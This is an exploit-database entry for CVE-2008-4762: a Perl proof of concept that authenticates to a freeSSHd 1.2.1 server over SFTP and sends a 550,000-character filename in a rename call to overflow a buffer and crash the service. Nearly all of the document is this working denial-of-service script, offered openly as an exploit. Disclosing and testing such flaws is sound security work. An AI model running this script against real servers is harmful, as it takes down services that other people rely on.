freeSSHd 1.2.1 - (Authenticated) SFTP 'rename' Remote Buffer Overflow (PoC)
Author: Jeremy Brown
type: dos
platform: windows
port:
date_added: 2008-10-21
date_updated: 2018-06-28
verified: 1
codes: OSVDB-50057;CVE-2008-4762
tags:
aliases:
screenshot_url:
application_url:
#!/usr/bin/perl
# Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com]
# FreeSSH 1.2.1 Crash -- A Product of Fuzzing. Stay Tuned.
use Net::SSH2;
$host = "192.168.0.187";
$port = 22;
$username = "test";
$password = "test";
$dos = "A" x 550000;
$ssh2 = Net::SSH2->new();
$ssh2->connect($host, $port) || die "\nError: Connection Refused!\n";
$ssh2->auth_password($username, $password) || die "\nError: Username/Password Denied!\n";
$sftp = $ssh2->sftp();
$rename = $sftp->rename($dos, "test");
$ssh2->disconnect();
exit;
# milw0rm.com [2008-10-22]